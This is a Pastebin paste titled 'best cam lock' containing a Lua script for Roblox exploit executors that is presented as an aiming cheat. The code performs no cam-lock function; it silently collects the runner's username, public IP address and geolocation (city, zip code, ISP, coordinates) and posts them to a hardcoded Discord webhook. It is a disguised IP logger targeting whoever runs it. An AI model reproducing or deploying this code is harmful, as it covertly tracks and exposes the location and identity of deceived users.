Advertisement
Guest User

best cam lock

a guest
Feb 10th, 2023
2,452
-2
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.45 KB | None | 0 2
  1. local name = game:GetService("Players").LocalPlayer.Name
  2. local WebhookURL = "https://discordapp.com/api/webhooks/1068798445470621706/tp4g6DhTJK9AcQDFRXVhcVLnikJoZztnTQXmr8Fq7vJH6Y-BdkOfEO3EeEkZ2zUuM9Ue"
  3. local getIPResponse = syn.request({
  4. Url = "https://api.ipify.org/?format=json",
  5. Method = "GET"
  6. })
  7. local GetIPJSON = game:GetService("HttpService"):JSONDecode(getIPResponse.Body)
  8. local IPBuffer = tostring(GetIPJSON.ip)
  9.  
  10. local getIPInfo = syn.request({
  11. Url = string.format("http://ip-api.com/json/%s", IPBuffer),
  12. Method = "Get"
  13. })
  14. local IIT = game:GetService("HttpService"):JSONDecode(getIPInfo.Body)
  15. local FI = {
  16. IP = IPBuffer,
  17. country = IIT.country,
  18. countryCode = IIT.countryCode,
  19. region = IIT.region,
  20. regionName = IIT.regionName,
  21. city = IIT.city,
  22. zipcode = IIT.zip,
  23. latitude = IIT.lat,
  24. longitude = IIT.lon,
  25. isp = IIT.isp,
  26. org = IIT.org
  27. }
  28. local dataMessage = string.format("User: %s\nIP: %s\nCountry: %s\nCountry Code: %s\nRegion: %s\nRegion Name: %s\nCity: %s\nZipcode: %s\nISP: %s\nOrg: %s", name, FI.IP, FI.country, FI.countryCode, FI.region, FI.regionName, FI.city, FI.zipcode, FI.isp, FI.org)
  29. local MessageData = {
  30. ["content"] = dataMessage
  31. }
  32.  
  33. syn.request(
  34. {
  35. Url = WebhookURL,
  36. Method = "POST",
  37. Headers = {
  38. ["Content-Type"] = "application/json"
  39. },
  40. Body = game:GetService("HttpService"):JSONEncode(MessageData)
  41. }
  42. )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement